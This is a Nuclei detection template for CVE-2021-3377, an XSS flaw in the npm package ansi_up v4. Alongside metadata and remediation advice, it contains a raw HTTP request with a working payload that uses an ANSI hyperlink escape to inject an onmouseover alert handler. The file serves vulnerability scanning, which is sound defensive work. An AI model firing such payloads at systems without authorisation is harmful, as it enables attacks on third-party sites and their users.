nuclei-templates/http/cves/2021/CVE-2021-3377.yaml

49 lines
1.5 KiB
YAML

id: CVE-2021-3377
info:
name: npm ansi_up v4 - Cross-Site Scripting
author: geeknik
severity: medium
description: npm package ansi_up v4 is vulnerable to cross-site scripting because ANSI escape codes can be used to create HTML hyperlinks.
remediation: Upgrade to v5.0.0 or later.
reference:
- https://doyensec.com/resources/Doyensec_Advisory_ansi_up4_XSS.pdf
- https://github.com/drudru/ansi_up/commit/c8c726ed1db979bae4f257b7fa41775155ba2e27
- https://nvd.nist.gov/vuln/detail/CVE-2021-3377
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-3377
cwe-id: CWE-79
epss-score: 0.00121
epss-percentile: 0.46031
cpe: cpe:2.3:a:ansi_up_project:ansi_up:*:*:*:*:*:node.js:*:*
metadata:
max-request: 1
vendor: ansi_up_project
product: ansi_up
framework: node.js
tags: cve,cve2021,xss,npm
http:
- raw:
- |+
GET /\u001B]8;;https://interact.sh"/onmouseover="alert(1)\u0007example\u001B]8;;\u0007 HTTP/1.1
Host: {{Hostname}}
Connection: close
unsafe: true
matchers-condition: and
matchers:
- type: word
part: header
words:
- "text/html"
- type: word
words:
- "sh\"/onmouseover=\"alert(1)\">"
# digest: 490a0046304402205cc959a0c12d62d2f617e91022756816f04899d09d4dd2bfe65f3a2ee1e3b1790220607c466c3569b42412ff5d481875c5f45066859f43fedd3a979a37a8cd790160:922c64590222798bb761d5b6d8e72950